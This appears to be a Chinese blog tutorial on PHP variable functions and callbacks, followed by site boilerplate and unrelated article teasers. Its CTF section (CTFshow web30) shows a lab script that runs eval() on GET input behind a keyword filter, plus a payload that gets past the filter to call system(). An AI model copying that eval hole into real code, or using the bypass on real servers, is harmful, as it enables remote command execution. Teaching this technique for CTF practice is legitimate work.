php基础学习之可变函数(web渗透测试关键字绕过rce和回调函数)

可变函数

看可变函数的知识点之前,蒟蒻博主建议你先去看看php的可变变量,会更加方便理解,在本篇博客中的第五块知识点->php基础学习之变量-CSDN博客

描述

当一个变量所保存的值刚好是一个函数的名字(由函数命名规则可知该值必须是字符串),那么就可以通过【变量名()】的形式实现该函数的调用

代码示例

<?php
function test(){
    echo "test函数被调用了";
}
$var = "test";//变量var中存放字符串test
$var();//通过可变函数语法去调用test函数, 等价于->test();

用途

web渗透中命令执行的关键字绕过

思路

可变函数可用作web渗透测试中绕过关键字实现rce,其思路是将被过滤的函数名作为字符串存放在其它变量中,然后从相应的数组中取出该值,绕过过滤实现函数的执行

测试脚本

下面给出一段靶场代码以供测试,在这段脚本中,我们的目的是绕过被过滤的system关键字,使用system函数执行dir命令(dir是用于windows系统查看文件目录的命令)

<?php
highlight_file(__FILE__);
echo "命令执行,用system函数列出当前目录,这是windows系统" . "<br>";
if (isset($_GET['cmd'])) {
    $cmd = $_GET['cmd'];
    if (preg_match("/system/i", $cmd)) {
        echo "就你还想当黑客?";
    } else {
        echo $_GET['a']. " ". $cmd;//展示参数名
        eval($cmd);//执行命令
    }
}
payload

解释:在a变量中存放system函数名,然后从$_GET数组中取出该值,按可变函数的语法调用system函数

a=system&cmd=$_GET['a']("dir");

在实际靶场使用也是没问题的!(题目来源:【CTFshow-web30】)

回调函数

思路

参考->C语言回调函数详解(全网最全)-CSDN博客

回调函数是开发中很常用的一种编程技术,回调函数a会被作为参数传递给另一个函数b,并在这个函数b的执行过程中去调用回调函数(a)

在C语言中会使用指针来实现,C++/Java使用引用来实现

php则可以使用可变函数实现——将回调函数的函数名作为参数(字符串)传递给另一个函数后,这个函数就能利用可变函数的语法实现回调

测试脚本
<?php
function Add($x, $y){
    return $x + $y;
}
function Sub($x, $y){
    return $x - $y;
}
function Mul($x, $y){
    return $x * $y;
}
function Div($x, $y){
    return $x / $y;
}
//↑上面是4个简单的加减乘除四则运算函数的定义
function calculator($x, $y, $op_func){//该函数将实现四则运算
    echo $op_func($x, $y). "<br>";//op_func中存放着调用calculator函数时传来的运算函数的函数名, 利用可变函数语法实现回调
}
calculator(2, 3, "Add");//5
calculator(2, 3, "Sub");//-1
calculator(2, 3, "Mul");//6
calculator(2, 3, "Div");//0.66666666666667
示例

解释:在调用calculator函数时除了传入操作数外还传入一个运算函数的函数名,calculator函数会接收这三个参数,并利用可变函数的语法对传入的运算函数实现回调

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/390451.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

JavaScript中什么是事件委托

JavaScript 中的事件委托&#xff08;Event delegation&#xff09;是一种重要的编程技术&#xff0c;它能够优化网页中的事件处理&#xff0c;提高程序的性能和可维护性。本文将详细介绍事件委托的概念、工作原理&#xff0c;并提供示例代码来说明其实际应用。 事件委托是基于…

我的NPI项目之Android USB 系列(一) - USB的发展历史

设计目的 USB was designed to standardize the connection of peripherals to personal computers, both to exchange data and to supply electric power. 一个是为了标准化电脑连接外设的方法。 能够支持电脑和外设的数据交互和&#xff08;对外&#xff09;供电。 目前已…

leetcode:96.不同的二叉搜索树

解题思路&#xff1a; 输入n3 n 0 1个 n 1 1个 n 2 2个 头1头2头3 头1 左子树0节点&#xff08;个数&#xff09;x右子树2个节点&#xff08;个数&#xff09; 头2 左子树1节点&#xff08;个数&#xff09;x右子树1个节点&#xff08;个数&#xff09; 头3 左子…

【Java程序员面试专栏 分布式中间件】Redis 核心面试指引

关于Redis部分的核心知识进行一网打尽,包括Redis的基本概念,基本架构,工作流程,存储机制等,通过一篇文章串联面试重点,并且帮助加强日常基础知识的理解,全局思维导图如下所示 基础概念 明确redis的特性、应用场景和数据结构 什么是Redis,Redis有哪些应用场景 Redi…

windows 下跑起大模型(llama)操作笔记

原贴地址&#xff1a;https://testerhome.com/topics/39091 前言 国内访问 chatgpt 太麻烦了&#xff0c;还是本地自己搭一个比较快&#xff0c;也方便后续修改微调啥的。 之前 llama 刚出来的时候在 mac 上试了下&#xff0c;也在 windows 上用 conda 折腾过&#xff0c;环…

ubuntu22.04@laptop OpenCV Get Started: 011_edge_detection

ubuntu22.04laptop OpenCV Get Started: 011_edge_detection 1. 源由2. edge_detection应用Demo2.1 C应用Demo2.2 Python应用Demo 3. 重点逐步分析3.1 GaussianBlur去噪3.2 Sobel边缘检测3.2.1 SobelX方向边缘检测3.2.2 SobelY方向边缘检测3.2.3 SobelXY方向边缘检测 3.3 Canny…

写一个程序,输入数量不确定的[0,9]范围内的整数,统计每一种数字出现的次数输入-1表示结束

#include <stdio.h> int main(void) {int x;int count[10];int i;for(i0;i<10;i){//初始化数组 count[i]0;}scanf("%d",&x);while(x!-1){if( x>0 && x<9){count[x];//数组参与运算 }scanf("%d",&x);}for(i0;i<10;i){pr…

云计算基础-大页内存

大页内存功能概述 什么是大页内存 简单来说&#xff0c;就是通过增大操作系统页的大小来减小页表&#xff0c;从而避免快表缺失 主要应用场景 主要运用于内存密集型业务的虚拟机&#xff0c;比如对于运行数据库系统的虚拟机&#xff0c;采用HugePages(大页)后&#xff0c;可…

下一代模型:Gemini 1.5,正如它的名字一样闪亮登场

每周跟踪AI热点新闻动向和震撼发展 想要探索生成式人工智能的前沿进展吗&#xff1f;订阅我们的简报&#xff0c;深入解析最新的技术突破、实际应用案例和未来的趋势。与全球数同行一同&#xff0c;从行业内部的深度分析和实用指南中受益。不要错过这个机会&#xff0c;成为AI领…

Leetcode 145.二叉树的后序遍历

题目 给你一棵二叉树的根节点 root &#xff0c;返回其节点值的 后序遍历 。 示例 1&#xff1a; 输入&#xff1a;root [1,null,2,3] 输出&#xff1a;[3,2,1] 示例 2&#xff1a; 输入&#xff1a;root [] 输出&#xff1a;[]示例 3&#xff1a; 输入&#xff1a;root…

SQL中的各种连接的区别总结

前言 今天主要的内容是要讲解SQL中关于Join、Inner Join、Left Join、Right Join、Full Join、On、 Where区别和用法&#xff0c;不用我说其实前面的这些基本SQL语法各位攻城狮基本上都用过。但是往往我们可能用的比较多的也就是左右连接和内连接了&#xff0c;而且对于许多初学…

STM32 HAL库 STM32CubeMX -- IWDG(独立看门狗)

STM32 HAL库 STM32CubeMX -- IWDG 一、IWDG简介二、独立看门狗的工作原理三、驱动函数初始化函数HAL IWDG Init()初始化函数HAL IWDG Init()其他宏函数 四、超时时间计算第一种办法第二种办法&#xff08;推荐&#xff09; 一、IWDG简介 看门狗(Watchdog)就是MCU上的一种特殊的…

悦纳自己:拥抱个人局限,开启成长之旅

悦纳自己&#xff1a;拥抱个人局限&#xff0c;开启成长之旅 在人生的旅途中&#xff0c;我们每个人都会面临无数的挑战和选择。有时我们会因为这些挑战而感到焦虑和不安&#xff0c;因为我们害怕失败&#xff0c;害怕无法达到预期的目标。然而&#xff0c;真正重要的是我们如何…

前端开发:Vue框架与前端部署

Vue Vue是一套前端框架&#xff0c;免除原生)avaScript中的DOM操作&#xff0c;简化书写。是基于MVVM(Model–View-ViewModel)思想&#xff0c;实现数据的双向绑定&#xff0c;将编程的关注点放在数据上。简单来说&#xff0c;就是数据变化的时候, 页面会自动刷新, 页面变化的时…

leetcode hot100爬楼梯

在本题目中&#xff0c;要求爬第n阶有多少种爬法&#xff0c;并且每次只能爬1个或者2个&#xff0c;这明显是动态规划的问题&#xff0c;我们需要用动态规划的解决方式去处理问题。动态规划就是按照正常的顺序由前向后依次推导。而递归则是从结果往前去寻找&#xff08;个人理解…

【打工日常】使用docker部署可视化工具docker-ui

一、docker-ui介绍 docker-ui是一个易用且轻量化的Docker管理工具&#xff0c;透过Web界面的操作&#xff0c;方便快捷操作docker容器化工作。 docker-ui拥有易操作化化界面&#xff0c;不须记忆docker指令&#xff0c;仅需下载镜像即可立刻加入完成部署。基于docker的特性&…

​电容的“隔直流、通交流”特性

习惯性的认为&#xff0c;电容就是“隔直流、通交流”的&#xff0c;细看下这张图杠一杠。 第一个问题&#xff1a;请问电容中间的介质是绝缘材质还是导电材质&#xff1f;答案是绝缘材质吧。如果是导体材质&#xff0c;那岂不是成了大电阻。 既然是绝缘材质&#xff0c;当左侧…

嵌入式Qt Qt中的信号处理

一.Qt中的信号处理 Qt消息模型&#xff1a; - Qt封装了具体操作系统的消息机制 - Qt遵循经典的GUI消息驱动事件模型 Qt中定义了与系统消息相关的概念; Qt中的消息处理机制&#xff1a; Qt的核心 QObject::cinnect函数&#xff1a; Qt中的“新”关键字&#xff1a; 实验1 初探…

定时器外部时钟

一、相较于内部时钟中断改动&#xff1a; 1.Timer.c RCC_APB2PeriphClockCmd(RCC_APB2Periph_GPIOA, ENABLE); //开启GPIOA的时钟/*GPIO初始化*/GPIO_InitTypeDef GPIO_InitStructure;GPIO_InitStructure.GPIO_Mode GPIO_Mode_IPU;GPIO_InitStructure.GPIO_Pin GPIO_Pin_…

【研究生复试】计算机软件工程人工智能研究生复试——资料整理(速记版)——JAVA

1、JAVA 2、计算机网络 3、计算机体系结构 4、数据库 5、计算机租场原理 6、软件工程 7、大数据 8、英文 自我介绍 1. Java 1. 和 equals的区别 比较基本数据类型是比较的值&#xff0c;引用数据类型是比较两个是不是同一个对象&#xff0c;也就是引用是否指向同 一个对象&…